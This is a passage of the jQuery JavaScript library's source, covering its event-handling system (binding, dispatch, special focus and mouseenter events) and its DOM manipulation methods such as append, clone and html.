node } else if ( !rhtml.test( elem ) ) { nodes.push( context.createTextNode( elem ) ); // Convert html into DOM nodes } else { tmp = tmp || fragment.appendChild( context.createElement( "div" ) ); // Deserialize a standard representation tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase(); wrap = wrapMap[ tag ] || wrapMap._default; tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ]; // Descend through wrappers to the right content j = wrap[ 0 ]; while ( j-- ) { tmp = tmp.lastChild; } // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( nodes, tmp.childNodes ); // Remember the top-level container tmp = fragment.firstChild; // Ensure the created nodes are orphaned (trac-12392) tmp.textContent = ""; } } } // Remove wrapper from fragment fragment.textContent = ""; i = 0; while ( ( elem = nodes[ i++ ] ) ) { // Skip elements already in the context collection (trac-4087) if ( selection && jQuery.inArray( elem, selection ) > -1 ) { if ( ignored ) { ignored.push( elem ); } continue; } attached = isAttached( elem ); // Append to fragment tmp = getAll( fragment.appendChild( elem ), "script" ); // Preserve script evaluation history if ( attached ) { setGlobalEval( tmp ); } // Capture executables if ( scripts ) { j = 0; while ( ( elem = tmp[ j++ ] ) ) { if ( rscriptType.test( elem.type || "" ) ) { scripts.push( elem ); } } } } return fragment; } var rtypenamespace = /^([^.]*)(?:\.(.+)|)/; function returnTrue() { return true; } function returnFalse() { return false; } function on( elem, types, selector, data, fn, one ) { var origFn, type; // Types can be a map of types/handlers if ( typeof types === "object" ) { // ( types-Object, selector, data ) if ( typeof selector !== "string" ) { // ( types-Object, data ) data = data || selector; selector = undefined; } for ( type in types ) { on( elem, type, selector, data, types[ type ], one ); } return elem; } if ( data == null && fn == null ) { // ( types, fn ) fn = selector; data = selector = undefined; } else if ( fn == null ) { if ( typeof selector === "string" ) { // ( types, selector, fn ) fn = data; data = undefined; } else { // ( types, data, fn ) fn = data; data = selector; selector = undefined; } } if ( fn === false ) { fn = returnFalse; } else if ( !fn ) { return elem; } if ( one === 1 ) { origFn = fn; fn = function( event ) { // Can use an empty set, since event contains the info jQuery().off( event ); return origFn.apply( this, arguments ); }; // Use same guid so caller can remove using origFn fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); } return elem.each( function() { jQuery.event.add( this, types, fn, data, selector ); } ); } /* * Helper functions for managing events -- not part of the public interface. * Props to Dean Edwards' addEvent library for many of the ideas. */ jQuery.event = { global: {}, add: function( elem, types, handler, data, selector ) { var handleObjIn, eventHandle, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = dataPriv.get( elem ); // Only attach events to objects that accept data if ( !acceptData( elem ) ) { return; } // Caller can pass in an object of custom data in lieu of the handler if ( handler.handler ) { handleObjIn = handler; handler = handleObjIn.handler; selector = handleObjIn.selector; } // Ensure that invalid selectors throw exceptions at attach time // Evaluate against documentElement in case elem is a non-element node (e.g., document) if ( selector ) { jQuery.find.matchesSelector( documentElement, selector ); } // Make sure that the handler has a unique ID, used to find/remove it later if ( !handler.guid ) { handler.guid = jQuery.guid++; } // Init the element's event structure and main handler, if this is the first if ( !( events = elemData.events ) ) { events = elemData.events = Object.create( null ); } if ( !( eventHandle = elemData.handle ) ) { eventHandle = elemData.handle = function( e ) { // Discard the second event of a jQuery.event.trigger() and // when an event is called after a page has unloaded return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ? jQuery.event.dispatch.apply( elem, arguments ) : undefined; }; } // Handle multiple events separated by a space types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[ t ] ) || []; type = origType = tmp[ 1 ]; namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); // There *must* be a type, no attaching namespace-only handlers if ( !type ) { continue; } // If event changes its type, use the special event handlers for the changed type special = jQuery.event.special[ type ] || {}; // If selector defined, determine special event api type, otherwise given type type = ( selector ? special.delegateType : special.bindType ) || type; // Update special based on newly reset type special = jQuery.event.special[ type ] || {}; // handleObj is passed to all event handlers handleObj = jQuery.extend( { type: type, origType: origType, data: data, handler: handler, guid: handler.guid, selector: selector, needsContext: selector && jQuery.expr.match.needsContext.test( selector ), namespace: namespaces.join( "." ) }, handleObjIn ); // Init the event handler queue if we're the first if ( !( handlers = events[ type ] ) ) { handlers = events[ type ] = []; handlers.delegateCount = 0; // Only use addEventListener if the special events handler returns false if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { if ( elem.addEventListener ) { elem.addEventListener( type, eventHandle ); } } } if ( special.add ) { special.add.call( elem, handleObj ); if ( !handleObj.handler.guid ) { handleObj.handler.guid = handler.guid; } } // Add to the element's handler list, delegates in front if ( selector ) { handlers.splice( handlers.delegateCount++, 0, handleObj ); } else { handlers.push( handleObj ); } // Keep track of which events have ever been used, for event optimization jQuery.event.global[ type ] = true; } }, // Detach an event or set of events from an element remove: function( elem, types, handler, selector, mappedTypes ) { var j, origCount, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = dataPriv.hasData( elem ) && dataPriv.get( elem ); if ( !elemData || !( events = elemData.events ) ) { return; } // Once for each type.namespace in types; type may be omitted types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[ t ] ) || []; type = origType = tmp[ 1 ]; namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); // Unbind all events (on this namespace, if provided) for the element if ( !type ) { for ( type in events ) { jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); } continue; } special = jQuery.event.special[ type ] || {}; type = ( selector ? special.delegateType : special.bindType ) || type; handlers = events[ type ] || []; tmp = tmp[ 2 ] && new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ); // Remove matching events origCount = j = handlers.length; while ( j-- ) { handleObj = handlers[ j ]; if ( ( mappedTypes || origType === handleObj.origType ) && ( !handler || handler.guid === handleObj.guid ) && ( !tmp || tmp.test( handleObj.namespace ) ) && ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { handlers.splice( j, 1 ); if ( handleObj.selector ) { handlers.delegateCount--; } if ( special.remove ) { special.remove.call( elem, handleObj ); } } } // Remove generic event handler if we removed something and no more handlers exist // (avoids potential for endless recursion during removal of special event handlers) if ( origCount && !handlers.length ) { if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) { jQuery.removeEvent( elem, type, elemData.handle ); } delete events[ type ]; } } // Remove data and the expando if it's no longer used if ( jQuery.isEmptyObject( events ) ) { dataPriv.remove( elem, "handle events" ); } }, dispatch: function( nativeEvent ) { var i, j, ret, matched, handleObj, handlerQueue, args = new Array( arguments.length ), // Make a writable jQuery.Event from the native event object event = jQuery.event.fix( nativeEvent ), handlers = ( dataPriv.get( this, "events" ) || Object.create( null ) )[ event.type ] || [], special = jQuery.event.special[ event.type ] || {}; // Use the fix-ed jQuery.Event rather than the (read-only) native event args[ 0 ] = event; for ( i = 1; i < arguments.length; i++ ) { args[ i ] = arguments[ i ]; } event.delegateTarget = this; // Call the preDispatch hook for the mapped type, and let it bail if desired if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { return; } // Determine handlers handlerQueue = jQuery.event.handlers.call( this, event, handlers ); // Run delegates first; they may want to stop propagation beneath us i = 0; while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) { event.currentTarget = matched.elem; j = 0; while ( ( handleObj = matched.handlers[ j++ ] ) && !event.isImmediatePropagationStopped() ) { // If the event is namespaced, then each handler is only invoked if it is // specially universal or its namespaces are a superset of the event's. if ( !event.rnamespace || handleObj.namespace === false || event.rnamespace.test( handleObj.namespace ) ) { event.handleObj = handleObj; event.data = handleObj.data; ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle || handleObj.handler ).apply( matched.elem, args ); if ( ret !== undefined ) { if ( ( event.result = ret ) === false ) { event.preventDefault(); event.stopPropagation(); } } } } } // Call the postDispatch hook for the mapped type if ( special.postDispatch ) { special.postDispatch.call( this, event ); } return event.result; }, handlers: function( event, handlers ) { var i, handleObj, sel, matchedHandlers, matchedSelectors, handlerQueue = [], delegateCount = handlers.delegateCount, cur = event.target; // Find delegate handlers if ( delegateCount && // Support: IE <=9 // Black-hole SVG <use> instance trees (trac-13180) cur.nodeType && // Support: Firefox <=42 // Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861) // https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click // Support: IE 11 only // ...but not arrow key "clicks" of radio inputs, which can have `button` -1 (gh-2343) !( event.type === "click" && event.button >= 1 ) ) { for ( ; cur !== this; cur = cur.parentNode || this ) { // Don't check non-elements (trac-13208) // Don't process clicks on disabled elements (trac-6911, trac-8165, trac-11382, trac-11764) if ( cur.nodeType === 1 && !( event.type === "click" && cur.disabled === true ) ) { matchedHandlers = []; matchedSelectors = {}; for ( i = 0; i < delegateCount; i++ ) { handleObj = handlers[ i ]; // Don't conflict with Object.prototype properties (trac-13203) sel = handleObj.selector + " "; if ( matchedSelectors[ sel ] === undefined ) { matchedSelectors[ sel ] = handleObj.needsContext ? jQuery( sel, this ).index( cur ) > -1 : jQuery.find( sel, this, null, [ cur ] ).length; } if ( matchedSelectors[ sel ] ) { matchedHandlers.push( handleObj ); } } if ( matchedHandlers.length ) { handlerQueue.push( { elem: cur, handlers: matchedHandlers } ); } } } } // Add the remaining (directly-bound) handlers cur = this; if ( delegateCount < handlers.length ) { handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } ); } return handlerQueue; }, addProp: function( name, hook ) { Object.defineProperty( jQuery.Event.prototype, name, { enumerable: true, configurable: true, get: isFunction( hook ) ? function() { if ( this.originalEvent ) { return hook( this.originalEvent ); } } : function() { if ( this.originalEvent ) { return this.originalEvent[ name ]; } }, set: function( value ) { Object.defineProperty( this, name, { enumerable: true, configurable: true, writable: true, value: value } ); } } ); }, fix: function( originalEvent ) { return originalEvent[ jQuery.expando ] ? originalEvent : new jQuery.Event( originalEvent ); }, special: { load: { // Prevent triggered image.load events from bubbling to window.load noBubble: true }, click: { // Utilize native event to ensure correct state for checkable inputs setup: function( data ) { // For mutual compressibility with _default, replace `this` access with a local var. // `|| data` is dead code meant only to preserve the variable through minification. var el = this || data; // Claim the first handler if ( rcheckableType.test( el.type ) && el.click && nodeName( el, "input" ) ) { // dataPriv.set( el, "click", ... ) leverageNative( el, "click", true ); } // Return false to allow normal processing in the caller return false; }, trigger: function( data ) { // For mutual compressibility with _default, replace `this` access with a local var. // `|| data` is dead code meant only to preserve the variable through minification. var el = this || data; // Force setup before triggering a click if ( rcheckableType.test( el.type ) && el.click && nodeName( el, "input" ) ) { leverageNative( el, "click" ); } // Return non-false to allow normal event-path propagation return true; }, // For cross-browser consistency, suppress native .click() on links // Also prevent it if we're currently inside a leveraged native-event stack _default: function( event ) { var target = event.target; return rcheckableType.test( target.type ) && target.click && nodeName( target, "input" ) && dataPriv.get( target, "click" ) || nodeName( target, "a" ); } }, beforeunload: { postDispatch: function( event ) { // Support: Firefox 20+ // Firefox doesn't alert if the returnValue field is not set. if ( event.result !== undefined && event.originalEvent ) { event.originalEvent.returnValue = event.result; } } } } }; // Ensure the presence of an event listener that handles manually-triggered // synthetic events by interrupting progress until reinvoked in response to // *native* events that it fires directly, ensuring that state changes have // already occurred before other listeners are invoked. function leverageNative( el, type, isSetup ) { // Missing `isSetup` indicates a trigger call, which must force setup through jQuery.event.add if ( !isSetup ) { if ( dataPriv.get( el, type ) === undefined ) { jQuery.event.add( el, type, returnTrue ); } return; } // Register the controller as a special universal handler for all event namespaces dataPriv.set( el, type, false ); jQuery.event.add( el, type, { namespace: false, handler: function( event ) { var result, saved = dataPriv.get( this, type ); if ( ( event.isTrigger & 1 ) && this[ type ] ) { // Interrupt processing of the outer synthetic .trigger()ed event if ( !saved ) { // Store arguments for use when handling the inner native event // There will always be at least one argument (an event object), so this array // will not be confused with a leftover capture object. saved = slice.call( arguments ); dataPriv.set( this, type, saved ); // Trigger the native event and capture its result this[ type ](); result = dataPriv.get( this, type ); dataPriv.set( this, type, false ); if ( saved !== result ) { // Cancel the outer synthetic event event.stopImmediatePropagation(); event.preventDefault(); return result; } // If this is an inner synthetic event for an event with a bubbling surrogate // (focus or blur), assume that the surrogate already propagated from triggering // the native event and prevent that from happening again here. // This technically gets the ordering wrong w.r.t. to `.trigger()` (in which the // bubbling surrogate propagates *after* the non-bubbling base), but that seems // less bad than duplication. } else if ( ( jQuery.event.special[ type ] || {} ).delegateType ) { event.stopPropagation(); } // If this is a native event triggered above, everything is now in order // Fire an inner synthetic event with the original arguments } else if ( saved ) { // ...and capture the result dataPriv.set( this, type, jQuery.event.trigger( saved[ 0 ], saved.slice( 1 ), this ) ); // Abort handling of the native event by all jQuery handlers while allowing // native handlers on the same element to run. On target, this is achieved // by stopping immediate propagation just on the jQuery event. However, // the native event is re-wrapped by a jQuery one on each level of the // propagation so the only way to stop it for jQuery is to stop it for // everyone via native `stopPropagation()`. This is not a problem for // focus/blur which don't bubble, but it does also stop click on checkboxes // and radios. We accept this limitation. event.stopPropagation(); event.isImmediatePropagationStopped = returnTrue; } } } ); } jQuery.removeEvent = function( elem, type, handle ) { // This "if" is needed for plain objects if ( elem.removeEventListener ) { elem.removeEventListener( type, handle ); } }; jQuery.Event = function( src, props ) { // Allow instantiation without the 'new' keyword if ( !( this instanceof jQuery.Event ) ) { return new jQuery.Event( src, props ); } // Event object if ( src && src.type ) { this.originalEvent = src; this.type = src.type; // Events bubbling up the document may have been marked as prevented // by a handler lower down the tree; reflect the correct value. this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && // Support: Android <=2.3 only src.returnValue === false ? returnTrue : returnFalse; // Create target properties // Support: Safari <=6 - 7 only // Target should not be a text node (trac-504, trac-13143) this.target = ( src.target && src.target.nodeType === 3 ) ? src.target.parentNode : src.target; this.currentTarget = src.currentTarget; this.relatedTarget = src.relatedTarget; // Event type } else { this.type = src; } // Put explicitly provided properties onto the event object if ( props ) { jQuery.extend( this, props ); } // Create a timestamp if incoming event doesn't have one this.timeStamp = src && src.timeStamp || Date.now(); // Mark it as fixed this[ jQuery.expando ] = true; }; // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { constructor: jQuery.Event, isDefaultPrevented: returnFalse, isPropagationStopped: returnFalse, isImmediatePropagationStopped: returnFalse, isSimulated: false, preventDefault: function() { var e = this.originalEvent; this.isDefaultPrevented = returnTrue; if ( e && !this.isSimulated ) { e.preventDefault(); } }, stopPropagation: function() { var e = this.originalEvent; this.isPropagationStopped = returnTrue; if ( e && !this.isSimulated ) { e.stopPropagation(); } }, stopImmediatePropagation: function() { var e = this.originalEvent; this.isImmediatePropagationStopped = returnTrue; if ( e && !this.isSimulated ) { e.stopImmediatePropagation(); } this.stopPropagation(); } }; // Includes all common event props including KeyEvent and MouseEvent specific props jQuery.each( { altKey: true, bubbles: true, cancelable: true, changedTouches: true, ctrlKey: true, detail: true, eventPhase: true, metaKey: true, pageX: true, pageY: true, shiftKey: true, view: true, "char": true, code: true, charCode: true, key: true, keyCode: true, button: true, buttons: true, clientX: true, clientY: true, offsetX: true, offsetY: true, pointerId: true, pointerType: true, screenX: true, screenY: true, targetTouches: true, toElement: true, touches: true, which: true }, jQuery.event.addProp ); jQuery.each( { focus: "focusin", blur: "focusout" }, function( type, delegateType ) { function focusMappedHandler( nativeEvent ) { if ( document.documentMode ) { // Support: IE 11+ // Attach a single focusin/focusout handler on the document while someone wants // focus/blur. This is because the former are synchronous in IE while the latter // are async. In other browsers, all those handlers are invoked synchronously. // `handle` from private data would already wrap the event, but we need // to change the `type` here. var handle = dataPriv.get( this, "handle" ), event = jQuery.event.fix( nativeEvent ); event.type = nativeEvent.type === "focusin" ? "focus" : "blur"; event.isSimulated = true; // First, handle focusin/focusout handle( nativeEvent ); // ...then, handle focus/blur // // focus/blur don't bubble while focusin/focusout do; simulate the former by only // invoking the handler at the lower level. if ( event.target === event.currentTarget ) { // The setup part calls `leverageNative`, which, in turn, calls // `jQuery.event.add`, so event handle will already have been set // by this point. handle( event ); } } else { // For non-IE browsers, attach a single capturing handler on the document // while someone wants focusin/focusout. jQuery.event.simulate( delegateType, nativeEvent.target, jQuery.event.fix( nativeEvent ) ); } } jQuery.event.special[ type ] = { // Utilize native event if possible so blur/focus sequence is correct setup: function() { var attaches; // Claim the first handler // dataPriv.set( this, "focus", ... ) // dataPriv.set( this, "blur", ... ) leverageNative( this, type, true ); if ( document.documentMode ) { // Support: IE 9 - 11+ // We use the same native handler for focusin & focus (and focusout & blur) // so we need to coordinate setup & teardown parts between those events. // Use `delegateType` as the key as `type` is already used by `leverageNative`. attaches = dataPriv.get( this, delegateType ); if ( !attaches ) { this.addEventListener( delegateType, focusMappedHandler ); } dataPriv.set( this, delegateType, ( attaches || 0 ) + 1 ); } else { // Return false to allow normal processing in the caller return false; } }, trigger: function() { // Force setup before trigger leverageNative( this, type ); // Return non-false to allow normal event-path propagation return true; }, teardown: function() { var attaches; if ( document.documentMode ) { attaches = dataPriv.get( this, delegateType ) - 1; if ( !attaches ) { this.removeEventListener( delegateType, focusMappedHandler ); dataPriv.remove( this, delegateType ); } else { dataPriv.set( this, delegateType, attaches ); } } else { // Return false to indicate standard teardown should be applied return false; } }, // Suppress native focus or blur if we're currently inside // a leveraged native-event stack _default: function( event ) { return dataPriv.get( event.target, type ); }, delegateType: delegateType }; // Support: Firefox <=44 // Firefox doesn't have focus(in | out) events // Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787 // // Support: Chrome <=48 - 49, Safari <=9.0 - 9.1 // focus(in | out) events fire after focus & blur events, // which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order // Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857 // // Support: IE 9 - 11+ // To preserve relative focusin/focus & focusout/blur event order guaranteed on the 3.x branch, // attach a single handler for both events in IE. jQuery.event.special[ delegateType ] = { setup: function() { // Handle: regular nodes (via `this.ownerDocument`), window // (via `this.document`) & document (via `this`). var doc = this.ownerDocument || this.document || this, dataHolder = document.documentMode ? this : doc, attaches = dataPriv.get( dataHolder, delegateType ); // Support: IE 9 - 11+ // We use the same native handler for focusin & focus (and focusout & blur) // so we need to coordinate setup & teardown parts between those events. // Use `delegateType` as the key as `type` is already used by `leverageNative`. if ( !attaches ) { if ( document.documentMode ) { this.addEventListener( delegateType, focusMappedHandler ); } else { doc.addEventListener( type, focusMappedHandler, true ); } } dataPriv.set( dataHolder, delegateType, ( attaches || 0 ) + 1 ); }, teardown: function() { var doc = this.ownerDocument || this.document || this, dataHolder = document.documentMode ? this : doc, attaches = dataPriv.get( dataHolder, delegateType ) - 1; if ( !attaches ) { if ( document.documentMode ) { this.removeEventListener( delegateType, focusMappedHandler ); } else { doc.removeEventListener( type, focusMappedHandler, true ); } dataPriv.remove( dataHolder, delegateType ); } else { dataPriv.set( dataHolder, delegateType, attaches ); } } }; } ); // Create mouseenter/leave events using mouseover/out and event-time checks // so that event delegation works in jQuery. // Do the same for pointerenter/pointerleave and pointerover/pointerout // // Support: Safari 7 only // Safari sends mouseenter too often; see: // https://bugs.chromium.org/p/chromium/issues/detail?id=470258 // for the description of the bug (it existed in older Chrome versions as well). jQuery.each( { mouseenter: "mouseover", mouseleave: "mouseout", pointerenter: "pointerover", pointerleave: "pointerout" }, function( orig, fix ) { jQuery.event.special[ orig ] = { delegateType: fix, bindType: fix, handle: function( event ) { var ret, target = this, related = event.relatedTarget, handleObj = event.handleObj; // For mouseenter/leave call the handler if related is outside the target. // NB: No relatedTarget if the mouse left/entered the browser window if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) { event.type = handleObj.origType; ret = handleObj.handler.apply( this, arguments ); event.type = fix; } return ret; } }; } ); jQuery.fn.extend( { on: function( types, selector, data, fn ) { return on( this, types, selector, data, fn ); }, one: function( types, selector, data, fn ) { return on( this, types, selector, data, fn, 1 ); }, off: function( types, selector, fn ) { var handleObj, type; if ( types && types.preventDefault && types.handleObj ) { // ( event ) dispatched jQuery.Event handleObj = types.handleObj; jQuery( types.delegateTarget ).off( handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler ); return this; } if ( typeof types === "object" ) { // ( types-object [, selector] ) for ( type in types ) { this.off( type, selector, types[ type ] ); } return this; } if ( selector === false || typeof selector === "function" ) { // ( types [, fn] ) fn = selector; selector = undefined; } if ( fn === false ) { fn = returnFalse; } return this.each( function() { jQuery.event.remove( this, types, fn, selector ); } ); } } ); var // Support: IE <=10 - 11, Edge 12 - 13 only // In IE/Edge using regex groups here causes severe slowdowns. // See https://connect.microsoft.com/IE/feedback/details/1736512/ rnoInnerhtml = /<script|<style|<link/i, // checked="checked" or checked rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, rcleanScript = /^\s*<!\[CDATA\[|\]\]>\s*$/g; // Prefer a tbody over its parent table for containing new rows function manipulationTarget( elem, content ) { if ( nodeName( elem, "table" ) && nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) { return jQuery( elem ).children( "tbody" )[ 0 ] || elem; } return elem; } // Replace/restore the type attribute of script elements for safe DOM manipulation function disableScript( elem ) { elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type; return elem; } function restoreScript( elem ) { if ( ( elem.type || "" ).slice( 0, 5 ) === "true/" ) { elem.type = elem.type.slice( 5 ); } else { elem.removeAttribute( "type" ); } return elem; } function cloneCopyEvent( src, dest ) { var i, l, type, pdataOld, udataOld, udataCur, events; if ( dest.nodeType !== 1 ) { return; } // 1. Copy private data: events, handlers, etc. if ( dataPriv.hasData( src ) ) { pdataOld = dataPriv.get( src ); events = pdataOld.events; if ( events ) { dataPriv.remove( dest, "handle events" ); for ( type in events ) { for ( i = 0, l = events[ type ].length; i < l; i++ ) { jQuery.event.add( dest, type, events[ type ][ i ] ); } } } } // 2. Copy user data if ( dataUser.hasData( src ) ) { udataOld = dataUser.access( src ); udataCur = jQuery.extend( {}, udataOld ); dataUser.set( dest, udataCur ); } } // Fix IE bugs, see support tests function fixInput( src, dest ) { var nodeName = dest.nodeName.toLowerCase(); // Fails to persist the checked state of a cloned checkbox or radio button. if ( nodeName === "input" && rcheckableType.test( src.type ) ) { dest.checked = src.checked; // Fails to return the selected option to the default selected state when cloning options } else if ( nodeName === "input" || nodeName === "textarea" ) { dest.defaultValue = src.defaultValue; } } function domManip( collection, args, callback, ignored ) { // Flatten any nested arrays args = flat( args ); var fragment, first, scripts, hasScripts, node, doc, i = 0, l = collection.length, iNoClone = l - 1, value = args[ 0 ], valueIsFunction = isFunction( value ); // We can't cloneNode fragments that contain checked, in WebKit if ( valueIsFunction || ( l > 1 && typeof value === "string" && !support.checkClone && rchecked.test( value ) ) ) { return collection.each( function( index ) { var self = collection.eq( index ); if ( valueIsFunction ) { args[ 0 ] = value.call( this, index, self.html() ); } domManip( self, args, callback, ignored ); } ); } if ( l ) { fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored ); first = fragment.firstChild; if ( fragment.childNodes.length === 1 ) { fragment = first; } // Require either new content or an interest in ignored elements to invoke the callback if ( first || ignored ) { scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); hasScripts = scripts.length; // Use the original fragment for the last item // instead of the first because it can end up // being emptied incorrectly in certain situations (trac-8070). for ( ; i < l; i++ ) { node = fragment; if ( i !== iNoClone ) { node = jQuery.clone( node, true, true ); // Keep references to cloned scripts for later restoration if ( hasScripts ) { // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( scripts, getAll( node, "script" ) ); } } callback.call( collection[ i ], node, i ); } if ( hasScripts ) { doc = scripts[ scripts.length - 1 ].ownerDocument; // Re-enable scripts jQuery.map( scripts, restoreScript ); // Evaluate executable scripts on first document insertion for ( i = 0; i < hasScripts; i++ ) { node = scripts[ i ]; if ( rscriptType.test( node.type || "" ) && !dataPriv.access( node, "globalEval" ) && jQuery.contains( doc, node ) ) { if ( node.src && ( node.type || "" ).toLowerCase() !== "module" ) { // Optional AJAX dependency, but won't run scripts if not present if ( jQuery._evalUrl && !node.noModule ) { jQuery._evalUrl( node.src, { nonce: node.nonce || node.getAttribute( "nonce" ) }, doc ); } } else { // Unwrap a CDATA section containing script contents. This shouldn't be // needed as in XML documents they're already not visible when // inspecting element contents and in HTML documents they have no // meaning but we're preserving that logic for backwards compatibility. // This will be removed completely in 4.0. See gh-4904. DOMEval( node.textContent.replace( rcleanScript, "" ), node, doc ); } } } } } } return collection; } function remove( elem, selector, keepData ) { var node, nodes = selector ? jQuery.filter( selector, elem ) : elem, i = 0; for ( ; ( node = nodes[ i ] ) != null; i++ ) { if ( !keepData && node.nodeType === 1 ) { jQuery.cleanData( getAll( node ) ); } if ( node.parentNode ) { if ( keepData && isAttached( node ) ) { setGlobalEval( getAll( node, "script" ) ); } node.parentNode.removeChild( node ); } } return elem; } jQuery.extend( { htmlPrefilter: function( html ) { return html; }, clone: function( elem, dataAndEvents, deepDataAndEvents ) { var i, l, srcElements, destElements, clone = elem.cloneNode( true ), inPage = isAttached( elem ); // Fix IE cloning issues if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) && !jQuery.isXMLDoc( elem ) ) { // We eschew jQuery#find here for performance reasons: // https://jsperf.com/getall-vs-sizzle/2 destElements = getAll( clone ); srcElements = getAll( elem ); for ( i = 0, l = srcElements.length; i < l; i++ ) { fixInput( srcElements[ i ], destElements[ i ] ); } } // Copy the events from the original to the clone if ( dataAndEvents ) { if ( deepDataAndEvents ) { srcElements = srcElements || getAll( elem ); destElements = destElements || getAll( clone ); for ( i = 0, l = srcElements.length; i < l; i++ ) { cloneCopyEvent( srcElements[ i ], destElements[ i ] ); } } else { cloneCopyEvent( elem, clone ); } } // Preserve script evaluation history destElements = getAll( clone, "script" ); if ( destElements.length > 0 ) { setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); } // Return the cloned set return clone; }, cleanData: function( elems ) { var data, elem, type, special = jQuery.event.special, i = 0; for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) { if ( acceptData( elem ) ) { if ( ( data = elem[ dataPriv.expando ] ) ) { if ( data.events ) { for ( type in data.events ) { if ( special[ type ] ) { jQuery.event.remove( elem, type ); // This is a shortcut to avoid jQuery.event.remove's overhead } else { jQuery.removeEvent( elem, type, data.handle ); } } } // Support: Chrome <=35 - 45+ // Assign undefined instead of using delete, see Data#remove elem[ dataPriv.expando ] = undefined; } if ( elem[ dataUser.expando ] ) { // Support: Chrome <=35 - 45+ // Assign undefined instead of using delete, see Data#remove elem[ dataUser.expando ] = undefined; } } } } } ); jQuery.fn.extend( { detach: function( selector ) { return remove( this, selector, true ); }, remove: function( selector ) { return remove( this, selector ); }, text: function( value ) { return access( this, function( value ) { return value === undefined ? jQuery.text( this ) : this.empty().each( function() { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { this.textContent = value; } } ); }, null, value, arguments.length ); }, append: function() { return domManip( this, arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.appendChild( elem ); } } ); }, prepend: function() { return domManip( this, arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.insertBefore( elem, target.firstChild ); } } ); }, before: function() { return domManip( this, arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this ); } } ); }, after: function() { return domManip( this, arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this.nextSibling ); } } ); }, empty: function() { var elem, i = 0; for ( ; ( elem = this[ i ] ) != null; i++ ) { if ( elem.nodeType === 1 ) { // Prevent memory leaks jQuery.cleanData( getAll( elem, false ) ); // Remove any remaining nodes elem.textContent = ""; } } return this; }, clone: function( dataAndEvents, deepDataAndEvents ) { dataAndEvents = dataAndEvents == null ? false : dataAndEvents; deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; return this.map( function() { return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); } ); }, html: function( value ) { return access( this, function( value ) { var elem = this[ 0 ] || {}, i = 0, l = this.length; if ( value === undefined && elem.nodeType === 1 ) { return elem.innerHTML; } // See if we can take a shortcut and just use innerHTML if ( typeof value === "string" && !rnoInnerhtml.test( value ) && !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) { value = jQuery.htmlPrefilter( value ); try { for ( ; i < l; i++ ) { elem = this[ i ] || {}; // Remove element nodes and prevent memory leaks if ( elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem, false ) ); elem.innerHTML = value; } } elem = 0; // If using innerHTML throws an exception, use the fallback method } catch ( e ) {} } if ( elem ) { this.empty().append( value ); } }, null, value, arguments.length ); }, replaceWith: function() { var ignored = []; // Make the changes, replacing each non-ignored context element with the new content return domManip( this, arguments, function( elem ) { var parent = this.parentNode; if ( jQuery.inArray( this, ignored ) < 0 ) { jQuery.cleanData( getAll( this ) ); if ( parent ) { parent.replaceChild( elem, this ); } } // Force callback invocation }, ignored ); } } ); jQuery.each( { appendTo: "append", prependTo: "prepend", insertBefore: "before", insertAfter: "after", replaceAll: "replaceWith" }, function( name, original ) { jQuery.fn[ name ] = function( selector ) { var elems, ret = [], insert = jQuery( selector ), last = insert.length - 1, i = 0; for ( 